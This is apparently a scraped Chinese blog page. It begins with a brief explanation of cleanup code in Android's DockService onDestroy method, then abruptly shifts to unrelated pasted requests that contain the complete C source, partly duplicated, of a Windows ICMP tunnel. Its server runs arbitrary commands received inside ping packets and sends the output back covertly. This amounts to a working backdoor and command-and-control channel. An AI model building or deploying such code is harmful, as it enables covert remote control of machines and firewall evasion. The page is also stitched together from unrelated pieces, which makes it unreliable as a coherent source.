Code Fragment-当前程序结束的时候,做一些清理的操作。

本文详细解析了Android中DockService类的onDestroy方法实现细节,包括资源释放和监听器移除等关键步骤。

在程序结束的时候,当然可以是类,也可是Activity或Application。我们可以主动调用一些清理的操作。

如:packages/apps/Settings/src/com/android/settings/bluetooth/DockService.java中的onDestroy代码处理如下:

@Override
public void onDestroy() {
    if (DEBUG) Log.d(TAG, "onDestroy");
    mRunnable = null;
    if (mDialog != null) {
        mDialog.dismiss();//必要的时候调用一些它们特有的处理
        mDialog = null;
    }
    if (mProfileManager != null) {
        mProfileManager.removeServiceListener(this);
    }
    if (mServiceLooper != null) {
        mServiceLooper.quit();//必要的时候调用一些它们特有的处理

    }

    mLocalAdapter = null;
    mDeviceManager = null;
    mProfileManager = null;
    mServiceLooper = null;
    mServiceHandler = null;
}


我将提供给你现有的程序代码,按照上面的修改要求,给出完整的代码 服务器 #define _WINSOCK_DEPRECATED_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #include <stddef.h> #include <iphlpapi.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "iphlpapi.lib") #define _WINSOCK_DEPRECATED_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #include <stddef.h> #include <iphlpapi.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "iphlpapi.lib") #define BUFFER_SIZE 1024 #define MAX_DATA_SIZE 120 #define DEBUG_MODE 1 #define MAGIC_HEADER "CMD_" SOCKET rawSocket; unsigned short processId; BOOL isRunning = TRUE; #define SIO_RCVALL _WSAIOW(IOC_VENDOR, 1) #define RCVALL_ON 1 typedef struct { unsigned char ip_hl : 4; unsigned char ip_v : 4; unsigned char ip_tos; unsigned short ip_len; unsigned short ip_id; unsigned short ip_off; unsigned char ip_ttl; unsigned char ip_p; unsigned short ip_sum; struct in_addr ip_src; struct in_addr ip_dst; } IP_HEADER; typedef struct { unsigned char type; unsigned char code; unsigned short checksum; unsigned short id; unsigned short seq; char data[128]; } ICMP_HEADER; // 统一的分片结构体 (与客户端完全一致) #pragma pack(push, 1) typedef struct { char magic[4]; // "CMD_" unsigned short total_size; // 结果总大小 unsigned short fragment_count; // 总分片数 unsigned short fragment_index; // 当前分片索引 char data[MAX_DATA_SIZE]; // 数据 } UnifiedFragment; #pragma pack(pop) // 计算校验和 unsigned short checksum(unsigned short* buf, int len) { unsigned long sum = 0; while (len > 1) { sum += *buf++; len -= 2; } if (len == 1) { sum += (unsigned char)*buf; } sum = (sum >> 16) + (sum & 0xffff); sum += sum >> 16; return (unsigned short)~sum; } // 获取本地IP地址列表 void printLocalIPs() { PIP_ADAPTER_INFO pAdapterInfo; PIP_ADAPTER_INFO pAdapter = NULL; DWORD dwRetVal = 0; ULONG ulOutBufLen = sizeof(IP_ADAPTER_INFO); pAdapterInfo = (IP_ADAPTER_INFO*)malloc(ulOutBufLen); if (!pAdapterInfo) return; if (GetAdaptersInfo(pAdapterInfo, &ulOutBufLen) == ERROR_BUFFER_OVERFLOW) { free(pAdapterInfo); pAdapterInfo = (IP_ADAPTER_INFO*)malloc(ulOutBufLen); if (!pAdapterInfo) return; } if (GetAdaptersInfo(pAdapterInfo, &ulOutBufLen) == NO_ERROR) { pAdapter = pAdapterInfo; printf("可用的本地IP地址:\n"); while (pAdapter) { if (pAdapter->IpAddressList.IpAddress.String[0] != '0') { printf(" - %s (接口: %s)\n", pAdapter->IpAddressList.IpAddress.String, pAdapter->Description); } pAdapter = pAdapter->Next; } } free(pAdapterInfo); } // 发送ICMP消息 int sendICMPMessage(const char* ipAddress, const char* message, int messageLen, int seq, int type) { struct sockaddr_in destAddr; char sendBuf[sizeof(ICMP_HEADER) + 256] = { 0 }; ICMP_HEADER* icmpHeader = (ICMP_HEADER*)sendBuf; int ret; memset(&destAddr, 0, sizeof(destAddr)); destAddr.sin_family = AF_INET; if (inet_pton(AF_INET, ipAddress, &destAddr.sin_addr) != 1) { printf("❌ 无效的IP地址: %s\n", ipAddress); return -1; } icmpHeader->type = type; icmpHeader->code = 0; icmpHeader->id = processId; icmpHeader->seq = htons(seq); memcpy(icmpHeader->data, message, messageLen); int icmpTotalLen = offsetof(ICMP_HEADER, data) + messageLen; icmpHeader->checksum = 0; icmpHeader->checksum = checksum((unsigned short*)icmpHeader, icmpTotalLen); ret = sendto(rawSocket, sendBuf, icmpTotalLen, 0, (struct sockaddr*)&destAddr, sizeof(destAddr)); if (ret == SOCKET_ERROR) { printf("❌ 发送失败 (错误码: %d)\n", WSAGetLastError()); } return ret; } // 发送命令执行结果 void sendCommandResult(const char* ipAddress, const char* result, int seq) { int totalLength = strlen(result); int fragmentCount = (totalLength + MAX_DATA_SIZE - 1) / MAX_DATA_SIZE; int currentSeq = seq; printf("命令结果大小: %d字节, 分%d个包发送\n", totalLength, fragmentCount); for (int i = 0; i < fragmentCount; i++) { UnifiedFragment fragment; memcpy(fragment.magic, MAGIC_HEADER, 4); fragment.total_size = htons(totalLength); fragment.fragment_count = htons(fragmentCount); fragment.fragment_index = htons(i); int copySize = (i == fragmentCount - 1) ? (totalLength - i * MAX_DATA_SIZE) : MAX_DATA_SIZE; memcpy(fragment.data, result + i * MAX_DATA_SIZE, copySize); // 发送整个结构体 sendICMPMessage(ipAddress, (char*)&fragment, sizeof(UnifiedFragment), currentSeq, 0); #if DEBUG_MODE printf("✅ 发送分片 %d/%d (序列号: %d, 大小: %d字节)\n", i + 1, fragmentCount, currentSeq, copySize); // 调试输出:打印前16字节HEX printf(" 分片头: "); for (int j = 0; j < 16; j++) { printf("%02X ", (unsigned char)((char*)&fragment)[j]); } printf("\n"); #endif currentSeq++; Sleep(30); } // 发送结束标记 sendICMPMessage(ipAddress, "CMD_FINISH", 11, currentSeq, 0); printf("✅ 命令结果发送完成\n"); } // 执行命令 char* execute_command(const char* cmd) { FILE* fp = _popen(cmd, "r"); if (!fp) return _strdup("命令执行失败"); char buffer[BUFFER_SIZE]; size_t totalSize = 0; size_t allocated = BUFFER_SIZE * 10; char* result = (char*)malloc(allocated); if (!result) { _pclose(fp); return _strdup("内存分配失败"); } result[0] = '\0'; while (fgets(buffer, sizeof(buffer), fp)) { size_t len = strlen(buffer); if (totalSize + len + 1 > allocated) { allocated *= 2; char* newResult = (char*)realloc(result, allocated); if (!newResult) { free(result); _pclose(fp); return _strdup("内存分配失败"); } result = newResult; } strcat(result, buffer); totalSize += len; } _pclose(fp); return result; } // 处理命令 void processCommand(const char* srcIP, const char* command) { printf("\n📩 收到命令: %s\n", command); char* result = execute_command(command); if (!result) result = _strdup("命令执行失败"); sendCommandResult(srcIP, result, 1); free(result); } // 主循环 void serverLoop() { char recvBuf[65535]; struct sockaddr_in srcAddr; int srcAddrSize = sizeof(srcAddr); printf("服务器已启动,等待命令...\n"); while (isRunning) { int ret = recvfrom(rawSocket, recvBuf, sizeof(recvBuf), 0, (struct sockaddr*)&srcAddr, &srcAddrSize); if (ret == SOCKET_ERROR) { int error = WSAGetLastError(); if (error == WSAETIMEDOUT) continue; printf("❌ 接收错误: %d\n", error); continue; } IP_HEADER* ipHeader = (IP_HEADER*)recvBuf; if (ipHeader->ip_p != IPPROTO_ICMP) continue; int ipHeaderLen = ipHeader->ip_hl * 4; if (ipHeaderLen < sizeof(IP_HEADER)) continue; ICMP_HEADER* icmpHeader = (ICMP_HEADER*)(recvBuf + ipHeaderLen); char ipStr[INET_ADDRSTRLEN]; InetNtopA(AF_INET, &ipHeader->ip_src, ipStr, INET_ADDRSTRLEN); #if DEBUG_MODE printf("\n收到 %d 字节数据,来源: %s\n", ret, ipStr); printf("IP协议: %d, ICMP类型: %d\n", ipHeader->ip_p, icmpHeader->type); printf("数据头: %.4s\n", icmpHeader->data); #endif if (icmpHeader->type == 8 && strncmp(icmpHeader->data, "cmd:", 4) == 0) { processCommand(ipStr, icmpHeader->data + 4); } } } int main() { WSADATA wsaData; struct sockaddr_in localAddr; DWORD bytesReturned; char ipChoice[16]; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { printf("❌ WSAStartup失败: %d\n", WSAGetLastError()); return 1; } printLocalIPs(); processId = (unsigned short)GetCurrentProcessId(); printf("\n服务器进程ID: %d\n", processId); printf("\n请输入要绑定的IP地址: "); if (fgets(ipChoice, sizeof(ipChoice), stdin) == NULL) { printf("❌ 输入错误\n"); WSACleanup(); return 1; } ipChoice[strcspn(ipChoice, "\n")] = '\0'; rawSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0, WSA_FLAG_OVERLAPPED); if (rawSocket == INVALID_SOCKET) { printf("❌ 创建套接字失败: %d (需管理员权限)\n", WSAGetLastError()); WSACleanup(); return 1; } memset(&localAddr, 0, sizeof(localAddr)); localAddr.sin_family = AF_INET; localAddr.sin_addr.s_addr = inet_addr(ipChoice); if (bind(rawSocket, (struct sockaddr*)&localAddr, sizeof(localAddr)) == SOCKET_ERROR) { printf("❌ 绑定失败: %d\n", WSAGetLastError()); closesocket(rawSocket); WSACleanup(); return 1; } printf("✅ 已绑定到: %s\n", ipChoice); unsigned long optval = RCVALL_ON; if (WSAIoctl(rawSocket, SIO_RCVALL, &optval, sizeof(optval), NULL, 0, &bytesReturned, NULL, NULL) == SOCKET_ERROR) { printf("⚠️ 警告: 混杂模式未启用 (错误码: %d)\n", WSAGetLastError()); printf("➡️ 仍可接收定向到本机的消息\n"); } else { printf("✅ 已启用混杂模式\n"); } serverLoop(); printf("\n关闭服务器...\n"); closesocket(rawSocket); WSACleanup(); return 0; } 客户端 #define _WINSOCK_DEPRECATED_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #pragma comment(lib, "ws2_32.lib") #define DEBUG_MODE 1 #define MAX_PACKET_SIZE 1024 #define ICMP_ECHO_REQUEST 8 #define ICMP_ECHO_REPLY 0 #define ICMP_MIN_SIZE 8 #define CMD_PREFIX "cmd:" #define CMD_PREFIX_LEN 4 #define MAGIC_HEADER "CMD_" #define MAX_DATA_SIZE 120 // 强制1字节对齐确保跨平台兼容性 #pragma pack(push, 1) typedef struct { unsigned char ip_hl : 4; unsigned char ip_v : 4; unsigned char ip_tos; unsigned short ip_len; unsigned short ip_id; unsigned short ip_off; unsigned char ip_ttl; unsigned char ip_p; unsigned short ip_sum; unsigned int ip_src; unsigned int ip_dst; } IP_HEADER; typedef struct { unsigned char icmp_type; unsigned char icmp_code; unsigned short icmp_checksum; unsigned short icmp_id; unsigned short icmp_seq; } ICMP_HEADER; // 统一的分片结构体 (与服务器完全一致) typedef struct { char magic[4]; // "CMD_" unsigned short total_size; // 结果总大小 unsigned short fragment_count; // 总分片数 unsigned short fragment_index; // 当前分片索引 char data[MAX_DATA_SIZE]; // 数据 } UnifiedFragment; #pragma pack(pop) // 计算校验和函数 unsigned short checksum(unsigned short* buffer, int size) { unsigned long cksum = 0; while (size > 1) { cksum += *buffer++; size -= sizeof(unsigned short); } if (size) { cksum += *(unsigned char*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16); return (unsigned short)(~cksum); } // 发送命令函数 void sendCommand(const char* command, const char* srcIP, const char* dstIP, int seq) { SOCKET rawSocket = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if (rawSocket == INVALID_SOCKET) { printf("创建原始套接字失败: %d\n", WSAGetLastError()); return; } // 设置源IP地址 sockaddr_in srcAddr; memset(&srcAddr, 0, sizeof(srcAddr)); srcAddr.sin_family = AF_INET; srcAddr.sin_addr.s_addr = inet_addr(srcIP); if (bind(rawSocket, (sockaddr*)&srcAddr, sizeof(srcAddr)) == SOCKET_ERROR) { printf("绑定到源IP %s 失败: %d\n", srcIP, WSAGetLastError()); closesocket(rawSocket); return; } printf("? 已绑定到源IP: %s\n", srcIP); // 设置目标地址 sockaddr_in dstAddr; memset(&dstAddr, 0, sizeof(dstAddr)); dstAddr.sin_family = AF_INET; dstAddr.sin_addr.s_addr = inet_addr(dstIP); // 构造ICMP请求包 char sendBuf[MAX_PACKET_SIZE] = { 0 }; ICMP_HEADER* icmpHeader = (ICMP_HEADER*)sendBuf; icmpHeader->icmp_type = ICMP_ECHO_REQUEST; icmpHeader->icmp_code = 0; icmpHeader->icmp_id = (unsigned short)GetCurrentProcessId(); icmpHeader->icmp_seq = htons(seq); // 添加命令前缀和内容 char* payload = sendBuf + sizeof(ICMP_HEADER); strncpy(payload, CMD_PREFIX, CMD_PREFIX_LEN); strncpy(payload + CMD_PREFIX_LEN, command, MAX_PACKET_SIZE - sizeof(ICMP_HEADER) - CMD_PREFIX_LEN); int payloadLen = CMD_PREFIX_LEN + (int)strlen(command) + 1; int packetSize = sizeof(ICMP_HEADER) + payloadLen; // 计算校验和 icmpHeader->icmp_checksum = 0; icmpHeader->icmp_checksum = checksum((unsigned short*)icmpHeader, packetSize); // 发送命令 if (sendto(rawSocket, sendBuf, packetSize, 0, (sockaddr*)&dstAddr, sizeof(dstAddr)) == SOCKET_ERROR) { printf("发送命令失败: %d\n", WSAGetLastError()); } else { printf("? 发送命令: %s (大小: %d字节, 序列号: %d)\n", command, packetSize, seq); } closesocket(rawSocket); } // 接收命令结果函数 void receiveCommandResult(int seq, const char* srcIP) { SOCKET rawSocket = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if (rawSocket == INVALID_SOCKET) { printf("创建原始套接字失败: %d\n", WSAGetLastError()); return; } // 设置接收超时 DWORD timeout = 10000; // 延长超时时间到10秒 setsockopt(rawSocket, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout)); // 设置源IP地址(仅用于接收) sockaddr_in localAddr; memset(&localAddr, 0, sizeof(localAddr)); localAddr.sin_family = AF_INET; localAddr.sin_addr.s_addr = inet_addr(srcIP); bind(rawSocket, (sockaddr*)&localAddr, sizeof(localAddr)); printf("等待结果 (超时: %dms)...\n", timeout); char recvBuf[MAX_PACKET_SIZE] = { 0 }; char* resultBuffer = NULL; int resultSize = 0; int fragmentCount = 0; int receivedFragments = 0; time_t startTime = time(NULL); while (1) { // 检查超时 if (time(NULL) - startTime > 10) { printf("? 接收超时\n"); break; } sockaddr_in fromAddr; int fromAddrLen = sizeof(fromAddr); int bytesRead = recvfrom(rawSocket, recvBuf, sizeof(recvBuf), 0, (sockaddr*)&fromAddr, &fromAddrLen); if (bytesRead == SOCKET_ERROR) { if (WSAGetLastError() == WSAETIMEDOUT) { printf("? 接收超时\n"); break; } printf("接收错误: %d\n", WSAGetLastError()); continue; } // 解析IP头 IP_HEADER* ipHeader = (IP_HEADER*)recvBuf; int ipHeaderLen = ipHeader->ip_hl * 4; // 检查协议类型 if (ipHeader->ip_p != IPPROTO_ICMP) { continue; } // 解析ICMP头 ICMP_HEADER* icmpHeader = (ICMP_HEADER*)(recvBuf + ipHeaderLen); unsigned short recvSeq = ntohs(icmpHeader->icmp_seq); // 调试输出:显示接收到的包信息 #if DEBUG_MODE char fromIP[16]; strcpy(fromIP, inet_ntoa(fromAddr.sin_addr)); printf("收到包: 类型=%d, 序列号=%d, 来源IP=%s\n", icmpHeader->icmp_type, recvSeq, fromIP); #endif // 只处理当前序列号范围内的包 if (recvSeq < seq) { #if DEBUG_MODE printf("跳过过时包 (seq=%d < 当前=%d)\n", recvSeq, seq); #endif continue; } // 处理ICMP响应 if (icmpHeader->icmp_type == ICMP_ECHO_REPLY) { char* payload = recvBuf + ipHeaderLen + sizeof(ICMP_HEADER); int payloadLen = bytesRead - ipHeaderLen - sizeof(ICMP_HEADER); // 检查是否是命令分片 if (payloadLen > sizeof(UnifiedFragment) - MAX_DATA_SIZE && // 确保有足够数据 memcmp(payload, MAGIC_HEADER, 4) == 0) { UnifiedFragment* fragment = (UnifiedFragment*)payload; // 正确转换网络字节序 unsigned short fragIndex = ntohs(fragment->fragment_index); unsigned short fragCount = ntohs(fragment->fragment_count); unsigned short totalSize = ntohs(fragment->total_size); // 首次收到分片时初始化缓冲区 if (fragmentCount == 0) { // 添加合理性检查 if (fragCount > 1000 || totalSize > 10 * 1024 * 1024) { printf("! 无效的分片参数: count=%d, size=%d\n", fragCount, totalSize); continue; } fragmentCount = fragCount; resultSize = totalSize; resultBuffer = (char*)malloc(resultSize + 1); if (!resultBuffer) { printf("内存分配失败\n"); break; } memset(resultBuffer, 0, resultSize + 1); printf("? 命令结果大小: %d字节, 分%d个包发送\n", resultSize, fragmentCount); } // 添加分片索引有效性检查 if (fragIndex < fragmentCount) { // 计算数据长度 int dataOffset = offsetof(UnifiedFragment, data); int fragDataLen = payloadLen - dataOffset; // 防止负长度 if (fragDataLen < 0) fragDataLen = 0; // 计算当前分片应复制的最大数据量 int maxFragmentSize = MAX_DATA_SIZE; int offset = fragIndex * maxFragmentSize; // 防止缓冲区溢出 if (offset + fragDataLen > resultSize) { fragDataLen = resultSize - offset; } if (fragDataLen > 0) { memcpy(resultBuffer + offset, fragment->data, fragDataLen); } receivedFragments++; #if DEBUG_MODE printf("? 收到分片 %d/%d (序列号: %d, 大小: %d字节)\n", fragIndex + 1, fragmentCount, recvSeq, fragDataLen); // 调试输出:打印前16字节HEX printf(" 分片头: "); for (int j = 0; j < 16; j++) { printf("%02X ", (unsigned char)payload[j]); } printf("\n"); #endif // 检查是否收到所有分片 if (receivedFragments >= fragmentCount) { printf("? 命令结果接收完成\n"); printf("命令结果:\n%.*s\n", resultSize, resultBuffer); free(resultBuffer); closesocket(rawSocket); return; } } else { #if DEBUG_MODE printf("! 无效分片索引: %d (最大: %d)\n", fragIndex, fragmentCount); #endif } } // 检查结束标记 else if (strncmp(payload, "CMD_FINISH", 10) == 0) { printf("? 收到结束标记\n"); if (resultBuffer && receivedFragments > 0) { printf("命令结果 (部分):\n%.*s\n", resultSize, resultBuffer); } break; } } } if (resultBuffer) { free(resultBuffer); } closesocket(rawSocket); if (receivedFragments > 0) { printf("? 收到部分结果 (%d/%d 分片)\n", receivedFragments, fragmentCount); } else { printf("? 未收到有效结果\n"); } } // 主函数 int main() { WSADATA wsaData; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { printf("WSAStartup失败: %d\n", WSAGetLastError()); return 1; } printf("客户端\n"); // 获取本地IP地址 char hostname[256]; if (gethostname(hostname, sizeof(hostname))) { printf("获取主机名失败\n"); return 1; } struct hostent* host = gethostbyname(hostname); if (!host) { printf("获取IP地址失败\n"); return 1; } printf("可用的本地IP地址:\n"); for (int i = 0; host->h_addr_list[i]; i++) { struct in_addr addr; memcpy(&addr, host->h_addr_list[i], sizeof(struct in_addr)); printf(" - %s\n", inet_ntoa(addr)); } printf("客户端进程ID: %d\n\n", GetCurrentProcessId()); char serverIP[16] = { 0 }; char clientIP[16] = { 0 }; printf("服务器IP地址: "); scanf("%15s", serverIP); printf("客户端使用的源IP地址: "); scanf("%15s", clientIP); int seq = 1; char command[256] = { 0 }; while (1) { printf("\n输入命令 (exit退出): "); scanf(" %255[^\n]", command); // 限制输入长度防止溢出 if (strcmp(command, "exit") == 0) { break; } sendCommand(command, clientIP, serverIP, seq); receiveCommandResult(seq, clientIP); seq++; } WSACleanup(); return 0; }
最新发布
08-21
服务器 #define _WINSOCK_DEPRECATED_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #include <stddef.h> #include <iphlpapi.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "iphlpapi.lib") #define _WINSOCK_DEPRECATED_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #include <stddef.h> #include <iphlpapi.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "iphlpapi.lib") #define BUFFER_SIZE 1024 #define MAX_DATA_SIZE 120 #define DEBUG_MODE 1 #define MAGIC_HEADER "CMD_" SOCKET rawSocket; unsigned short processId; BOOL isRunning = TRUE; #define SIO_RCVALL _WSAIOW(IOC_VENDOR, 1) #define RCVALL_ON 1 typedef struct { unsigned char ip_hl : 4; unsigned char ip_v : 4; unsigned char ip_tos; unsigned short ip_len; unsigned short ip_id; unsigned short ip_off; unsigned char ip_ttl; unsigned char ip_p; unsigned short ip_sum; struct in_addr ip_src; struct in_addr ip_dst; } IP_HEADER; typedef struct { unsigned char type; unsigned char code; unsigned short checksum; unsigned short id; unsigned short seq; char data[128]; } ICMP_HEADER; // 统一的分片结构体 (与客户端完全一致) #pragma pack(push, 1) typedef struct { char magic[4]; // "CMD_" unsigned short total_size; // 结果总大小 unsigned short fragment_count; // 总分片数 unsigned short fragment_index; // 当前分片索引 char data[MAX_DATA_SIZE]; // 数据 } UnifiedFragment; #pragma pack(pop) // 计算校验和 unsigned short checksum(unsigned short* buf, int len) { unsigned long sum = 0; while (len > 1) { sum += *buf++; len -= 2; } if (len == 1) { sum += (unsigned char)*buf; } sum = (sum >> 16) + (sum & 0xffff); sum += sum >> 16; return (unsigned short)~sum; } // 获取本地IP地址列表 void printLocalIPs() { PIP_ADAPTER_INFO pAdapterInfo; PIP_ADAPTER_INFO pAdapter = NULL; DWORD dwRetVal = 0; ULONG ulOutBufLen = sizeof(IP_ADAPTER_INFO); pAdapterInfo = (IP_ADAPTER_INFO*)malloc(ulOutBufLen); if (!pAdapterInfo) return; if (GetAdaptersInfo(pAdapterInfo, &ulOutBufLen) == ERROR_BUFFER_OVERFLOW) { free(pAdapterInfo); pAdapterInfo = (IP_ADAPTER_INFO*)malloc(ulOutBufLen); if (!pAdapterInfo) return; } if (GetAdaptersInfo(pAdapterInfo, &ulOutBufLen) == NO_ERROR) { pAdapter = pAdapterInfo; printf("可用的本地IP地址:\n"); while (pAdapter) { if (pAdapter->IpAddressList.IpAddress.String[0] != '0') { printf(" - %s (接口: %s)\n", pAdapter->IpAddressList.IpAddress.String, pAdapter->Description); } pAdapter = pAdapter->Next; } } free(pAdapterInfo); } // 发送ICMP消息 int sendICMPMessage(const char* ipAddress, const char* message, int messageLen, int seq, int type) { struct sockaddr_in destAddr; char sendBuf[sizeof(ICMP_HEADER) + 256] = { 0 }; ICMP_HEADER* icmpHeader = (ICMP_HEADER*)sendBuf; int ret; memset(&destAddr, 0, sizeof(destAddr)); destAddr.sin_family = AF_INET; if (inet_pton(AF_INET, ipAddress, &destAddr.sin_addr) != 1) { printf("❌ 无效的IP地址: %s\n", ipAddress); return -1; } icmpHeader->type = type; icmpHeader->code = 0; icmpHeader->id = processId; icmpHeader->seq = htons(seq); memcpy(icmpHeader->data, message, messageLen); int icmpTotalLen = offsetof(ICMP_HEADER, data) + messageLen; icmpHeader->checksum = 0; icmpHeader->checksum = checksum((unsigned short*)icmpHeader, icmpTotalLen); ret = sendto(rawSocket, sendBuf, icmpTotalLen, 0, (struct sockaddr*)&destAddr, sizeof(destAddr)); if (ret == SOCKET_ERROR) { printf("❌ 发送失败 (错误码: %d)\n", WSAGetLastError()); } return ret; } // 发送命令执行结果 void sendCommandResult(const char* ipAddress, const char* result, int seq) { int totalLength = strlen(result); int fragmentCount = (totalLength + MAX_DATA_SIZE - 1) / MAX_DATA_SIZE; int currentSeq = seq; printf("命令结果大小: %d字节, 分%d个包发送\n", totalLength, fragmentCount); for (int i = 0; i < fragmentCount; i++) { UnifiedFragment fragment; memcpy(fragment.magic, MAGIC_HEADER, 4); fragment.total_size = htons(totalLength); fragment.fragment_count = htons(fragmentCount); fragment.fragment_index = htons(i); int copySize = (i == fragmentCount - 1) ? (totalLength - i * MAX_DATA_SIZE) : MAX_DATA_SIZE; memcpy(fragment.data, result + i * MAX_DATA_SIZE, copySize); // 发送整个结构体 sendICMPMessage(ipAddress, (char*)&fragment, sizeof(UnifiedFragment), currentSeq, 0); #if DEBUG_MODE printf("✅ 发送分片 %d/%d (序列号: %d, 大小: %d字节)\n", i + 1, fragmentCount, currentSeq, copySize); // 调试输出:打印前16字节HEX printf(" 分片头: "); for (int j = 0; j < 16; j++) { printf("%02X ", (unsigned char)((char*)&fragment)[j]); } printf("\n"); #endif currentSeq++; Sleep(30); } // 发送结束标记 sendICMPMessage(ipAddress, "CMD_FINISH", 11, currentSeq, 0); printf("✅ 命令结果发送完成\n"); } // 执行命令 char* execute_command(const char* cmd) { FILE* fp = _popen(cmd, "r"); if (!fp) return _strdup("命令执行失败"); char buffer[BUFFER_SIZE]; size_t totalSize = 0; size_t allocated = BUFFER_SIZE * 10; char* result = (char*)malloc(allocated); if (!result) { _pclose(fp); return _strdup("内存分配失败"); } result[0] = '\0'; while (fgets(buffer, sizeof(buffer), fp)) { size_t len = strlen(buffer); if (totalSize + len + 1 > allocated) { allocated *= 2; char* newResult = (char*)realloc(result, allocated); if (!newResult) { free(result); _pclose(fp); return _strdup("内存分配失败"); } result = newResult; } strcat(result, buffer); totalSize += len; } _pclose(fp); return result; } // 处理命令 void processCommand(const char* srcIP, const char* command) { printf("\n📩 收到命令: %s\n", command); char* result = execute_command(command); if (!result) result = _strdup("命令执行失败"); sendCommandResult(srcIP, result, 1); free(result); } // 主循环 void serverLoop() { char recvBuf[65535]; struct sockaddr_in srcAddr; int srcAddrSize = sizeof(srcAddr); printf("服务器已启动,等待命令...\n"); while (isRunning) { int ret = recvfrom(rawSocket, recvBuf, sizeof(recvBuf), 0, (struct sockaddr*)&srcAddr, &srcAddrSize); if (ret == SOCKET_ERROR) { int error = WSAGetLastError(); if (error == WSAETIMEDOUT) continue; printf("❌ 接收错误: %d\n", error); continue; } IP_HEADER* ipHeader = (IP_HEADER*)recvBuf; if (ipHeader->ip_p != IPPROTO_ICMP) continue; int ipHeaderLen = ipHeader->ip_hl * 4; if (ipHeaderLen < sizeof(IP_HEADER)) continue; ICMP_HEADER* icmpHeader = (ICMP_HEADER*)(recvBuf + ipHeaderLen); char ipStr[INET_ADDRSTRLEN]; InetNtopA(AF_INET, &ipHeader->ip_src, ipStr, INET_ADDRSTRLEN); #if DEBUG_MODE printf("\n收到 %d 字节数据,来源: %s\n", ret, ipStr); printf("IP协议: %d, ICMP类型: %d\n", ipHeader->ip_p, icmpHeader->type); printf("数据头: %.4s\n", icmpHeader->data); #endif if (icmpHeader->type == 8 && strncmp(icmpHeader->data, "cmd:", 4) == 0) { processCommand(ipStr, icmpHeader->data + 4); } } } int main() { WSADATA wsaData; struct sockaddr_in localAddr; DWORD bytesReturned; char ipChoice[16]; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { printf("❌ WSAStartup失败: %d\n", WSAGetLastError()); return 1; } printLocalIPs(); processId = (unsigned short)GetCurrentProcessId(); printf("\n服务器进程ID: %d\n", processId); printf("\n请输入要绑定的IP地址: "); if (fgets(ipChoice, sizeof(ipChoice), stdin) == NULL) { printf("❌ 输入错误\n"); WSACleanup(); return 1; } ipChoice[strcspn(ipChoice, "\n")] = '\0'; rawSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0, WSA_FLAG_OVERLAPPED); if (rawSocket == INVALID_SOCKET) { printf("❌ 创建套接字失败: %d (需管理员权限)\n", WSAGetLastError()); WSACleanup(); return 1; } memset(&localAddr, 0, sizeof(localAddr)); localAddr.sin_family = AF_INET; localAddr.sin_addr.s_addr = inet_addr(ipChoice); if (bind(rawSocket, (struct sockaddr*)&localAddr, sizeof(localAddr)) == SOCKET_ERROR) { printf("❌ 绑定失败: %d\n", WSAGetLastError()); closesocket(rawSocket); WSACleanup(); return 1; } printf("✅ 已绑定到: %s\n", ipChoice); unsigned long optval = RCVALL_ON; if (WSAIoctl(rawSocket, SIO_RCVALL, &optval, sizeof(optval), NULL, 0, &bytesReturned, NULL, NULL) == SOCKET_ERROR) { printf("⚠️ 警告: 混杂模式未启用 (错误码: %d)\n", WSAGetLastError()); printf("➡️ 仍可接收定向到本机的消息\n"); } else { printf("✅ 已启用混杂模式\n"); } serverLoop(); printf("\n关闭服务器...\n"); closesocket(rawSocket); WSACleanup(); return 0; } 给出修改后的完整代码
08-21
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值